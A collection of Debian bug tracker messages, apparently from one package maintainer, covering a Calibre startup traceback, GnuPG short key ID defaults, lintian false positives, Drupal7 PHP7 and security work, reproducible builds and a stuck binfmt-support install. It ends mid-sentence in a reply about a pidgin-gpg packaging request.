
Now, this works when I launch Calibre from my WM itself (I run i3 with
i3bar; I copied this exception from .xsession-errors), or if I run it
from a terminal and have it open. However, if I launch it backgrounded
from a terminal and exit the terminal process before the exception is
displayed, I get a window titled "ERROR: Startup error", with the
text "There was an error during calibre startup. Parts of calibre may
not function. Click Show details to learn more".

If I click the "Copy to clipboard" button, I get the exact same
exception I reproduced here. If I click on the "Show details" button,
I get the following text:

Traceback (most recent call last):
  File "/usr/lib/calibre/calibre/gui2/main.py", line 276, in 
initialize_db_stage2
self.start_gui(db)
  File "/usr/lib/calibre/calibre/gui2/main.py", line 211, in start_gui
main = self.main = Main(self.opts, gui_debug=self.gui_debug)
  File "/usr/lib/calibre/calibre/gui2/ui.py", line 156, in __init__
traceback.print_exc()
  File "/usr/lib/python2.7/traceback.py", line 233, in print_exc
print_exception(etype, value, tb, limit, file)
  File "/usr/lib/python2.7/traceback.py", line 124, in print_exception
_print(file, 'Traceback (most recent call last):')
  File "/usr/lib/python2.7/traceback.py", line 13, in _print
file.write(str+terminator)
IOError: [Errno 5] Input/output error

Then, Calibre keeps running, but does not start a UI; I have to
manually kill it in order to get it started again.

Note that I don't believe this bug to be related to #657730, as the
exception categories are quite different.

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.5.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages calibre depends on:
ii  calibre-bin2.55.0+dfsg-1
ii  fonts-liberation   1.07.4-1
ii  imagemagick8:6.8.9.9-7.1
ii  libjs-mathjax  2.6.1-1
ii  poppler-utils  0.44.0-2
ii  python-apsw3.8.11.1-r1-1+b2
ii  python-beautifulsoup   3.2.1-1
ii  python-chardet 2.3.0-2
ii  python-cherrypy3   3.5.0-2
ii  python-cssselect   0.9.1+git90c72b0-1
ii  python-cssutils1.0-4.1
ii  python-dateutil2.4.2-1
ii  python-dbus1.2.4-1
ii  python-feedparser  5.1.3-3
ii  python-imaging 3.2.0-2
ii  python-lxml3.6.0-1
ii  python-markdown2.6.6-1
ii  python-mechanize   1:0.2.5-3
ii  python-netifaces   0.10.4-0.1+b2
ii  python-pil 3.2.0-2
ii  python-pkg-resources   20.10.1-1
ii  python-pyparsing   2.1.4+dfsg1-1
ii  python-pyqt5   5.6+dfsg-1
ii  python-pyqt5.qtsvg 5.6+dfsg-1

Bug#826273: [pkg-gnupg-maint] Bug#826273: gnupg2: Defaults to using insecure short key IDs (32 bits)

[Gunnar Wolf]

Daniel Kahn Gillmor dijo [Fri, Jun 03, 2016 at 05:06:43PM -0400]:
> So i'd actually be happier with "keyid-format none" or "keyid format
> fingerprint" [1] than with "keyid-format long" but i agree that "long"
> or "0xlong" is still superior to the current situation.

Umh... There's something wrong in this suggestion:

$ gpg2 --keyid-format none --list-keys gwolf.org
gpg: unknown keyid-format 'none'
$ gpg2 --keyid-format fingerprint --list-keys gwolf.org
gpg: unknown keyid-format 'fingerprint'

I get the same results with gpg instead of gpg2, FWIW. The man page
mentions:

   --keyid-format short|0xshort|long|0xlong
 Select how to display key IDs. "short" is the
 traditional 8-character key ID. "long" is the
 more accurate (but less convenient) 16-character
 key ID. Add an "0x" to either to include an "0x"
 at the beginning of the key ID, as in 0x99242560.
 Note that this option is ignored if the option
 --with-colons is used.
 

Bug#826273: gnupg2: Defaults to using insecure short key IDs (32 bits)

[Gunnar Wolf]

Package: gnupg2
Version: 2.1.11-7
Severity: normal
Tags: security

GnuPG2 defaults to returning short key IDs when listing keys. Short
key IDs are quite vulnerable to collisions, and their use should be
strongly discouraged.

I wrote the following with a progression of attacks; this is all
well-known for years.

http://gwolf.org/node/4070

So, in short: Please add "keyid-format 0xlong" to
/usr/share/gnupg2/gpg-conf.skel

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.5.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages gnupg2 depends on:
ii  dpkg   1.18.7
ii  gnupg-agent2.1.11-7
ii  install-info   6.1.0.dfsg.1-8
ii  libassuan0 2.4.2-3
ii  libbz2-1.0 1.0.6-8
ii  libc6  2.22-10
ii  libgcrypt201.7.0-2
ii  libgpg-error0  1.22-2
ii  libksba8   1.3.4-3
ii  libreadline6   6.3-8+b4
ii  libsqlite3-0   3.13.0-1
ii  zlib1g 1:1.2.8.dfsg-2+b1

Versions of packages gnupg2 recommends:
ii  dirmngr  2.1.11-7

Versions of packages gnupg2 suggests:
pn  gnupg-doc   
ii  parcimonie  0.10.1-1
pn  xloadimage  

-- no debconf information

Bug#826270: gnupg: Defaults to using insecure short key IDs (32 bits)

[Gunnar Wolf]

Package: gnupg
Version: 1.4.20-6
Severity: normal

GnuPG defaults to returning short key IDs when listing keys. Short key
IDs are quite vulnerable to collisions, and their use should be
strongly discouraged.

I wrote the following with a progression of attacks; this is all
well-known for years.

http://gwolf.org/node/4070

So, in short: Please add "keyid-format 0xlong" to
/usr/share/gnupg/options.skel

Thanks,

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.5.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages gnupg depends on:
ii  gpgv  1.4.20-6
ii  libbz2-1.01.0.6-8
ii  libc6 2.22-10
ii  libreadline6  6.3-8+b4
ii  libusb-0.1-4  2:0.1.12-30
ii  zlib1g1:1.2.8.dfsg-2+b1

Versions of packages gnupg recommends:
ii  gnupg-curl 1.4.20-6
ii  libldap-2.4-2  2.4.42+dfsg-2+b2

Versions of packages gnupg suggests:
pn  gnupg-doc 
ii  imagemagick   8:6.8.9.9-7.1
ii  libpcsclite1  1.8.17-1
ii  parcimonie0.10.1-1

-- no debconf information

Bug#823853: lintian: False positive for source-is-missing on misc/farbtastic/farbtastic.js

[Gunnar Wolf]

Jakub Wilk dijo [Mon, May 09, 2016 at 09:16:43PM +0200]:
> >Oh, right!
> >
> >Fixed it in the repository;
> 
> Shall we close this bug?

It can be closed. It could also be made into a more general "be less
picky" wishlist. Your call :)

Bug#823853: lintian: False positive for source-is-missing on misc/farbtastic/farbtastic.js

[Gunnar Wolf]

Jakub Wilk dijo [Mon, May 09, 2016 at 07:07:07PM +0200]:
> Apparently Lintian expects the source to be in:
> 
> debian/missing-sources/misc/farbtastic/farbtastic.js
> 
> (Note the "misc" part.)

Oh, right!

Fixed it in the repository; I'm not doing an update just because of
this issue, will include it in my next upload.

Thanks!


signature.asc
Description: Digital signature

Bug#823854: lintian: Incorrectly identified as minified Javascript ("source-is-missing")

[Gunnar Wolf]

Package: lintian
Version: 2.5.43
Severity: normal

Lintian presents the following error when building Drupal7:

E: drupal7 source: source-is-missing themes/bartik/color/preview.js line length 
is 311 characters (>256)

However, IMO just the line length should not trigger this bug. Case in
point, the following is clearly not a minified file:


https://anonscm.debian.org/cgit/collab-maint/drupal7.git/tree/themes/bartik/color/preview.js

Many things could be said about its style, but it's clearly editable
source. Just using the longest line length to trigger this report is
prone to failure; maybe it should be reported if over a given
threshold; in this case, just one line (out of 40) is so wide; two
more lines are above the much more acceptable 132 characters, and
three more are over 80.

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.2.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages lintian depends on:
ii  binutils  2.26-8
ii  bzip2 1.0.6-8
ii  diffstat  1.61-1
ii  file  1:5.25-2
ii  gettext   0.19.7-2
ii  hardening-includes2.8+nmu2
ii  intltool-debian   0.35.0+20060710.4
ii  libapt-pkg-perl   0.1.29+b5
ii  libarchive-zip-perl   1.57-1
ii  libclass-accessor-perl0.34-1
ii  libclone-perl 0.38-1+b1
ii  libdata-alias-perl1.20-1+b1
ii  libdpkg-perl  1.18.4
ii  libemail-valid-perl   1.198-1
ii  libfile-basedir-perl  0.07-1
ii  libipc-run-perl   0.94-1
ii  liblist-moreutils-perl0.413-1+b1
ii  libparse-debianchangelog-perl 1.2.0-8
ii  libperl5.22 [libdigest-sha-perl]  5.22.1-10
ii  libtext-levenshtein-perl  0.13-1
ii  libtimedate-perl  2.3000-2
ii  liburi-perl   1.71-1
ii  libyaml-libyaml-perl  0.41-6+b1
ii  man-db2.7.5-1
ii  patchutils0.3.4-1
ii  perl  5.22.1-10
ii  t1utils   1.39-2
ii  xz-utils  5.1.1alpha+20120614-2.1

Versions of packages lintian recommends:
ii  dpkg 1.18.4
ii  libperlio-gzip-perl  0.19-1+b1
ii  perl 5.22.1-10
ii  perl-modules-5.22 [libautodie-perl]  5.22.1-10

Versions of packages lintian suggests:
ii  binutils-multiarch 2.26-8
ii  dpkg-dev   1.18.4
ii  libhtml-parser-perl3.72-1
pn  libtext-template-perl  

-- no debconf information

Bug#823853: lintian: False positive for source-is-missing on misc/farbtastic/farbtastic.js

[Gunnar Wolf]

Package: lintian
Version: 2.5.43
Severity: normal

Lintian erroneously identifies misc/farbtastic/farbtastic.js for a
"source-is-missing" message. The file shipped by upstream *is*
minified:


https://anonscm.debian.org/cgit/collab-maint/drupal7.git/tree/misc/farbtastic/farbtastic.js

However, I do ship it in source inside debian/missing-sources:


https://anonscm.debian.org/cgit/collab-maint/drupal7.git/tree/debian/missing-sources/farbtastic/farbtastic.js

I am filing this bug as lintian insists that «If this is a
false-positive, please report a bug against Lintian.»

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.2.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages lintian depends on:
ii  binutils  2.26-8
ii  bzip2 1.0.6-8
ii  diffstat  1.61-1
ii  file  1:5.25-2
ii  gettext   0.19.7-2
ii  hardening-includes2.8+nmu2
ii  intltool-debian   0.35.0+20060710.4
ii  libapt-pkg-perl   0.1.29+b5
ii  libarchive-zip-perl   1.57-1
ii  libclass-accessor-perl0.34-1
ii  libclone-perl 0.38-1+b1
ii  libdata-alias-perl1.20-1+b1
ii  libdpkg-perl  1.18.4
ii  libemail-valid-perl   1.198-1
ii  libfile-basedir-perl  0.07-1
ii  libipc-run-perl   0.94-1
ii  liblist-moreutils-perl0.413-1+b1
ii  libparse-debianchangelog-perl 1.2.0-8
ii  libperl5.22 [libdigest-sha-perl]  5.22.1-10
ii  libtext-levenshtein-perl  0.13-1
ii  libtimedate-perl  2.3000-2
ii  liburi-perl   1.71-1
ii  libyaml-libyaml-perl  0.41-6+b1
ii  man-db2.7.5-1
ii  patchutils0.3.4-1
ii  perl  5.22.1-10
ii  t1utils   1.39-2
ii  xz-utils  5.1.1alpha+20120614-2.1

Versions of packages lintian recommends:
ii  dpkg 1.18.4
ii  libperlio-gzip-perl  0.19-1+b1
ii  perl 5.22.1-10
ii  perl-modules-5.22 [libautodie-perl]  5.22.1-10

Versions of packages lintian suggests:
ii  binutils-multiarch 2.26-8
ii  dpkg-dev   1.18.4
ii  libhtml-parser-perl3.72-1
pn  libtext-template-perl  

-- no debconf information

Bug#821482: drupal7: PHP 7.0 Transition ← Help requested!

[Gunnar Wolf]

tag 821482 + confirmed upstream patch pending
thanks

Hi,

I'm contacting pkg-php-maint as recommendad by Ondřej's original mass
bug filing, hopefully avoiding the removal of Drupal7 from Debian.

As it is now, at version 7.43, Drupal7 is *not* PHP7-clean, and it is
documented with bugs in the upstream tracker:

https://www.drupal.org/node/2656548 — Drupal 7 PHP 7 testing issue
https://www.drupal.org/node/2454439 — [META] Support PHP 7

Following the first link to the bottom, it *seems* that, three days
ago, Mike Carper achieved a clean test run on PHP7:

https://dispatcher.drupalci.org/job/default/124946/testReport/

The patch in question:

https://www.drupal.org/files/issues/drupal-2656548-21-php7.patch

Now, the reason to contact pkg-php-maint... Even though I maintain
Drupal7 for a long time, I do consider myself a PHP newbie. Could you
help me ascertain iv the patch makes linguistic sense in PHP7? Help me
check if this looks like enough, and without changing the logic?

I gave a *very* quick look at it, and the patch looks much shorter
than what I expected. I don't know the extent of the language
incompatibilities between 5.6 and 7, but if this works, I will be a
very happy maintainer.

I have created a "php7" branch in the packaging repository; I have not
built the package yet, but it should be doable trivially:

https://anonscm.debian.org/cgit/collab-maint/drupal7.git/commit/?h=php7

I intend to do as much testing as I can, but any help is welcome. I am
quite time-stressed, and don't want to delay this until I got time to
dig into it.

Thanks a lot!


signature.asc
Description: Digital signature

Bug#819663: O: collabtive

[Gunnar Wolf]

Package: wnpp
Severity: normal

Collabtive is a very nice and simple, calendar- and project-based
group collaboration tool. The package description reads:

Description: Web-based project management software
 This package is intended for small to medium-sized businesses and
 freelancers.
 .
 All major browsers like Internet Explorer (7/8), Firefox, Opera,
 Safari, and Chrome are supported.

(ouch, didn't see how outdated the description is! ;-) )

I have maintained it since June 2010, and has mostly been an easy
task; upstreams are friendly, although some views on the world diverge
to what we have in Debian.

I have left pending the work for the new upstream release for too
long, and I'm leaving my work-in-progress as it is in the Git
repository. IIRC, the main issue delaying the upload was that I wanted
to provide sources for the Javascript libraries that are embedded in
minified-only version.

Bug#818111: noise in the noise source package creation step

[Gunnar Wolf]

Holger Levsen dijo [Wed, Mar 16, 2016 at 01:20:29PM -0400]:
> Hi Gunnar,
> 
> in https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=818111#10 you
> wrote:
> 
> > However, even with this, the package is *not yet* built reproducibly:
> > There is still a source of noise for the source package creation
> > step. 
> 
> I'm not sure you ment this(?) but it's a known (+sad) fact, that we
> cannot create reproducible source packages yet. So don't bother about
> this yet. Or did you mean something else?

Sorry, I got mixed up WRT some details, as I was writing from
memory. What I have now is:

debian-keyring$ gbp buildpackage -us -uc
  (...)
debian-keyring$ mkdir ../build-area/old
debian-keyring$ mv ../build-area/debian-keyring_2016.03.xx* ../build-area/old/
debian-keyring$ gbp buildpackage -us -uc
  (...)
debian-keyring$ diffoscope 
../build-area/old/debian-keyring_2016.03.xx_amd64.changes 
../build-area/debian-keyring_2016.03.xx_amd64.changes

--- ../build-area/old/debian-keyring_2016.03.xx_amd64.changes
+++ ../build-area/debian-keyring_2016.03.xx_amd64.changes
├── Files
│ @@ -1,4 +1,4 @@
│
│   85c889d4df09fb2b69296bd6611c7d48 854 misc optional 
debian-keyring_2016.03.xx.dsc
│   bc61ceaab56033822641295d4a1737a8 40196984 misc optional 
debian-keyring_2016.03.xx.tar.xz
│ - f6c07a45828b1ed14272262e8e8ef0e1 33128510 misc optional 
debian-keyring_2016.03.xx_all.deb
│ + cca0ea09e711f77572a0079add65975e 33128510 misc optional 
debian-keyring_2016.03.xx_all.deb
├── debian-keyring_2016.03.xx_all.deb
│   ├── file list
│   │ @@ -1,3 +1,3 @@
│   │ --rw-r--r--   0004 2016-03-17 17:35:13.00 
debian-binary
│   │ --rw-r--r--   000  834 2016-03-17 17:35:13.00 
control.tar.gz
│   │ --rw-r--r--   000 33127484 2016-03-17 17:35:25.00 
data.tar.xz
│   │ +-rw-r--r--   0004 2016-03-17 17:36:29.00 
debian-binary
│   │ +-rw-r--r--   000  834 2016-03-17 17:36:29.00 
control.tar.gz
│   │ +-rw-r--r--   000 33127484 2016-03-17 17:36:40.00 
data.tar.xz
│   ╵
╵

So, no, it's not the source package, but the creation date of the
in-cpio tar.[xg]z files, which seems to be the result of our call to
'dpkg --build debian/tmp ..' in debian/rules.

So, no, not source-package related. Sorry for the noise! :-(

> > Maybe the answer would be to stop hand-building everything and
> > update our packaging format to dh-based or something like that?
> 
> I think you should do this anyway. dh9 totally rocks :)

I totally agree with you on this :)

Bug#818111: noise in the noise source package creation step

[Gunnar Wolf]

> are you using dpkg from our reproducible repository or the one from
> debian sid? if the latter, this explains…

Oh, you tricky, you...!

I am just a happy pure Sid user.

Bug#818111: debian-keyring: please make the build reproducible (locale, fileordering)

[Gunnar Wolf]

severity 818111 minor
tag 818111 + patch pending confirmed
thanks

Satyam Zode dijo [Mon, Mar 14, 2016 at 12:54:50AM +0530]:
> While working on the “reproducible builds” effort [1], we have noticed
> that debian-keyring could not be built reproducibly.
> 
> The attached patch fix the order of files in md5sums.
> Once applied, debian-keyring can be built reproducibly in our current
> experimental framework.

Hi,

Your patch has already been applied to our working tree, and will be
included in the next package upload. Do note we don't always upload a
new package when pushing a new keyring. You can verify the commit in
question at:


https://anonscm.debian.org/cgit/keyring/keyring.git/commit/?id=c4f9a490cc6d40c5dbe74ad253b2a21cceb1c060

However, even with this, the package is *not yet* built reproducibly:
There is still a source of noise for the source package creation
step. Maybe the answer would be to stop hand-building everything and
update our packaging format to dh-based or something like that? :)

Greetings,

Bug#817923: binfmt-support: Installation stuck, dpkg does not get to finish

[Gunnar Wolf]

notfound 817923 2.1.6-1
found 817923 2.1.5-2
kthxbye

Hmmm... By killing or skipping the "update-binfmts" invocations, I was
finally able to update my system. Part of this update brought in the
2.1.6-1 release of binfmt-support. It now works correctly.

I leave this bug open as it might still bite somebody else, but AFAICT
it can be closed if you so see fit. I am no longer able to reproduce
it in my system.

Thanks!


signature.asc
Description: Digital signature

Bug#817923: binfmt-support: Installation stuck, dpkg does not get to finish

[Gunnar Wolf]

reassign 817923 binfmt-support
thanks

After commenting out the call to update-binfmts in my system (that is,
modifying /var/lib/dpkg/info/python3.5-minimal.postinst to skip the
call, even though I am fully aware it is not a recommended way to
solve issues), I saw this same issue happening with python2.7 — here,
too, I had to issue a kill -9 for the process to continue:

Setting up python2.7-minimal (2.7.11-4) ...
dpkg: error processing package python2.7-minimal (--configure):
 subprocess installed post-installation script was killed by signal 
(Terminated)

Right now, it's stuck at «update-binfmts --package openjdk-7 --import jar»;
I am sending it a kill -9 as well.

So, that's the reason I am reassigning this bug. Of course, I am
leaving my system in a not fully set up fashion, but I have to get
some things working! :-|

Thanks,


signature.asc
Description: Digital signature

Bug#817923: python3.5-minimal: Installation stuck, dpkg does not get to finish

[Gunnar Wolf]

Package: python3.5-minimal
Version: 3.5.1-7
Severity: normal

When updating a long-due Sid system, dpkg processes away until it gets
stuck at this package:

(...)
Setting up libllvm3.7:amd64 (1:3.7.1-2) ...
Setting up libcupsppdc1:amd64 (2.1.3-3) ...
Setting up python3.5-minimal (3.5.1-7) ...

I interrupted apt-get and launched it again, and got to the same
point; I have let this sit for about half an hour. The process tree
gives me:

29022 pts/22   S  0:00  \_ bash
23581 pts/22   S+ 0:00  \_ dpkg --configure -a
23821 pts/22   S+ 0:00  \_ /bin/sh 
/var/lib/dpkg/info/python3.5-minimal.postinst configure 3.5.1-5
23823 pts/22   S+ 0:00  \_ update-binfmts 
--import python3.5

I was able to get the system to continue installation only by killing
(-9) update-binfmts, although of course all Python-depending packages
complain on python3.5-minimal being unconfigured.

Launching again, with just a small amount of pending packages, yields
the same result:

# dpkg --configure -a
Setting up python3.5-minimal (3.5.1-7) ...
Killed
dpkg: error processing package python3.5-minimal (--configure):
 subprocess installed post-installation script returned error exit status 
137
dpkg: dependency problems prevent configuration of python3-minimal:
 python3-minimal depends on python3.5-minimal (>= 3.5.1-2~); however:
  Package python3.5-minimal is not configured yet.

dpkg: error processing package python3-minimal (--configure):
 dependency problems - leaving unconfigured
dpkg: dependency problems prevent configuration of python3.5:
 python3.5 depends on python3.5-minimal (= 3.5.1-7); however:
  Package python3.5-minimal is not configured yet.

dpkg: error processing package python3.5 (--configure):
 dependency problems - leaving unconfigured
dpkg: dependency problems prevent configuration of python3-uno:
 python3-uno depends on python3.5; however:
  Package python3.5 is not configured yet.

dpkg: error processing package python3-uno (--configure):
 dependency problems - leaving unconfigured
dpkg: dependency problems prevent configuration of libreoffice:
 libreoffice depends on python3-uno (>= 4.4.0~beta2); however:
  Package python3-uno is not configured yet.

dpkg: error processing package libreoffice (--configure):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 python3.5-minimal
 python3-minimal
 python3.5
 python3-uno
 libreoffice


-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.2.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages python3.5-minimal depends on:
ii  libc6 2.22-2
ii  libexpat1 2.1.0-7
ii  libpython3.5-minimal  3.5.1-7
ii  zlib1g1:1.2.8.dfsg-2+b1

Versions of packages python3.5-minimal recommends:
iu  python3.5  3.5.1-7

Versions of packages python3.5-minimal suggests:
ii  binfmt-support  2.1.5-2

-- no debconf information

Bug#816417: dh-make-drupal: Please drop libruby dependency

[Gunnar Wolf]

Christian Hofstaedtler dijo [Tue, Mar 01, 2016 at 07:30:19PM +0100]:
> Package: dh-make-drupal
> Version: 2.1-1
> Severity: normal
> 
> Gunnar,
> 
> please drop Depends: libruby from dh-make-drupal.
> We are planning to remove the libruby metapackage; dh-make-drupal
> is the only user of it. I think it should be fine to just depend on
> ruby itself.

Thanks a lot for the heads-up. Uploaded a new version.

Thanks and greetings!

Bug#815923: [drupal7] SA-CORE-2016-001 for drupal6 & drupal7

[Gunnar Wolf]

Gunnar Wolf dijo [Thu, Feb 25, 2016 at 03:54:04PM -0600]:
> Yes, I'm aware! For sure, I'll work on it!
> 
> I am overwhelmed by work. I'll try to work on it on Sunday, but if not
> possible, I will do it on Tuesday.
> 
> If somebody else can fill up for me meanwhile, NMUs are more than welcome.

Hi Ingo+world,

Just following up: I have done the patch and requested the security
team to allow me to upload this package; if you are in a hurry, you
can build locally the 'jessie' branch from git. The relevant commit is:

   
https://anonscm.debian.org/cgit/collab-maint/drupal7.git/commit/?h=jessie=5d08c10561ca66f6849f5d3f2b4ed0b585b8be40

Greetings,


signature.asc
Description: Digital signature

Bug#815923: [drupal7] SA-CORE-2016-001 for drupal6 & drupal7

[Gunnar Wolf]

Ingo Juergensmann dijo [Thu, Feb 25, 2016 at 07:55:34PM +0100]:
> Package: drupal7
> Version: 7.41-1
> Severity: normal
> Tags: security
> X-Debbugs-CC: secure-testing-t...@lists.alioth.debian.org
> 
> --- Please enter the report below this line. ---
> 
> Hi!
> 
> There's a critical issue in drupal7 and drupal6 according to
> 
> https://www.drupal.org/SA-CORE-2016-001
> 
> Thanks for providing a fixed package! (hopefully soon! ;-))

Yes, I'm aware! For sure, I'll work on it!

I am overwhelmed by work. I'll try to work on it on Sunday, but if not
possible, I will do it on Tuesday.

If somebody else can fill up for me meanwhile, NMUs are more than welcome.


signature.asc
Description: Digital signature

Bug#776188: qbzr: autopkgtest fails since 2015-01-01

[Gunnar Wolf]

Dmitry Shachnev dijo [Mon, Jan 25, 2016 at 04:08:19PM +0300]:
> > qbzr autopkgtest fails on both ci.debian.net [1] and jenkins.qa.ubuntu.com 
> > [2]
> > since recently.
> >
> > [...]
> >
> > On both servers, it is clear that the test succeeded in 2014, but started
> > failing in 2015 (maybe due to some dependency package update).
> 
> According to https://ci.debian.net/packages/q/qbzr/unstable/amd64/, the tests
> fail on months containing J, that is Januarys, Junes and Julys.
> 
> And it's because the code searches for "j" here:
> 
>   File 
> "/usr/lib/python2.7/dist-packages/bzrlib/plugins/qbzr/lib/tests/test_guidebar.py",
>  line 225, in test_find
> self.assert_find("j", panels[0].bar, panels[0].edit, 1)

So we could try a partial match with adding 'LANG=es_MX' to the
test call. That will make it work better than it does now (performing
at least ⅓ more reliably)

Bug#805762: armory: Click-wrap dialogue appears on first use of package

[Gunnar Wolf]

Riley Baird dijo [Sun, Nov 22, 2015 at 05:53:01PM +1100]:
> Package: armory
> Version: 0.92.3-1+b1
> Severity: normal
> 
> Upon starting armory from the CLI, I get a notice which requires me to tick a
> box saying "I agree to all the terms of the license above" before I can use 
> the
> software. This is annoying, because a wonderful part of using Debian is not
> having to worry about licensing.

It makes you click through (and, I guess, only once). I would not
argue it is too obtrusive, and it does not require "worrying". Debian
has a policy of not deviating whenever possible from upstream for just
"cosmetic" reasons, so if at all, I'd suggest downgrading this bug to
"wishlist" (just shy of closing it :) ).

> However, I think I should point out that (as you can see in the attached
> screenshot), in addition to the AGPLv3, it is stated that "Additionally, as a
> condition of receiving this software for free, you accept all risks associated
> with using it and the developers of Armory will not be held liable for any 
> loss
> of money or bitcoins due to software defects." I am not a lawyer, so I do not
> intend to interpret how the AGPLv3 and this condition interact, and I've
> forwarded this message to debian-legal.

I would see this clause not as an additional condition, but as a
reiteration/emphatization of already existing conditions 15, 16 and 17
of AGPLv3:

15. Disclaimer of Warranty.

THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE
COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS"
WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE
RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH
YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

16. Limitation of Liability.

IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES
AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE
THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA
BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF
THE POSSIBILITY OF SUCH DAMAGES.

17. Interpretation of Sections 15 and 16.

If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely
approximates an absolute waiver of all civil liability in
connection with the Program, unless a warranty or assumption of
liability accompanies a copy of the Program in return for a fee.

Bug#756305: drupal8: changing from ITP to RFP

[Gunnar Wolf]

retitle 756305 ITP: drupal8 -- fully-featured content management framework
owner 756305 !
thanks

> A long time ago, you expressed interest in packaging drupal8. Unfortunately,
> it seems that it did not happen. In Debian, we try not to keep ITP bugs open
> for a too long time, as it might cause other prospective maintainers to
> refrain from packaging the software.
> 
> This is an automatic email to change the status of drupal8 from ITP
> (Intent to Package) to RFP (Request for Package), because this bug hasn't seen
> any activity during the last 12 months.

Drupal8 stayed for many months in the "just about to be released"
status; I expected it to be ready toship with Jessie. As it turned out
not to be the case, I just let the ITP age.

I have recently retaken activity on the packaging, and am working on
it currently. I will soon send a RFH and try to assemble a
team-maintained package; meanwhile, I'll just move this back to ITP.

Thanks!


signature.asc
Description: Digital signature

Bug#808775: ckeditor: Please update to newer version

[Gunnar Wolf]

Package: ckeditor
Version: 4.4.4+dfsg1-3
Severity: normal
Tags: security

Please upgrade ckeditor to a newer release; several new releases have
appeared, some of them fixing security-related issues, particularly
4.4.6 and 4.4.8, but many more fixing lots of other issues.

Latest release, 4.5.6, was released on December 9, 2015; the currently
packaged version was last updated on August 2014.

Given many webapps use ckeditor, it would be much welcome for them to
carry an updated version.

Thanks!

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.1.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#805035: ITP: pidgin-gpg -- OpenPGP plugin for Pidgin

[Gunnar Wolf]

Paulo Roberto Alves de Oliveira (aka kretcheu) dijo [Fri, Nov 13, 2015 at 
02:03:05PM -0200]:
> * Package name: pidgin-gpg
>   Version : 0.9
>   Upstream Author : Alexander.Murauer.
> * URL : https://github.com/segler-alex/Pidgin-GPG
> * License : GPL-3
>   Programming Lang: C
>   Description : OpenPGP plugin for Pidgin
> 
> pidgin-gpg is a plugin for the Pidgin instant messaging program which enables
> it to communicate with Jabber/XMPP peers in an encrypted manner using the
> OpenPGP standard, which is understood by other clients, such as centericq,
> gajim, kopete and mcabber.
> 
> Another package (pidgin-openpgp) intent to do the same think but not working
> anymore.

This has me a bit at unease. I don't know precisely how this plugin
works, what its UI is, or many, many other details... But:

OpenPGP key pairs are a very valuable asset for many of us. Of course,
those of us participating in the Debian project as DDs or DMs (or
those interested in joining) hold them in high value as they are our
